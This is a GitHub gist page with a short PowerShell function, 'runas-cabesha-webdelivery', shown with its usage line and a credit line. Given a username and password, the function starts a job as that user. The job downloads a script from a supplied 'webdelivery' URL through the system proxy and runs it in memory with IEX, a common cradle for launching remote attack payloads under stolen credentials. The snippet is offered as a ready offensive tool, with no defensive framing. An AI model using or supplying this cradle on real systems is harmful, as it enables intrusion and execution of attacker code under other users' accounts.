Last active
July 17, 2018 10:18
-
-
Save adon90/269f8d5b6da417d84e70ff0985b947cb to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function runas-cabesha-webdelivery {param ($url,$user,$pass) | |
$username = $user | |
$password = $pass | |
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force | |
$credenciales = New-Object System.Management.Automation.PSCredential $username, $securePassword | |
Start-Job -ArgumentList $url,$credenciales -ScriptBlock {param ($url,$credenciales) | |
$O=new-object net.webclient;$O.proxy=[Net.WebRequest]::GetSystemWebProxy();$O.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX($O.downloadstring("$URL")) | |
} -Credential $credenciales | Wait-Job | Receive-Job | |
} | |
usage: runas-cabesha-webdelivery -url <url_webdelivery> -user <url> -pass <pass> | |
ACK to @cybervaka, the powershell God |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment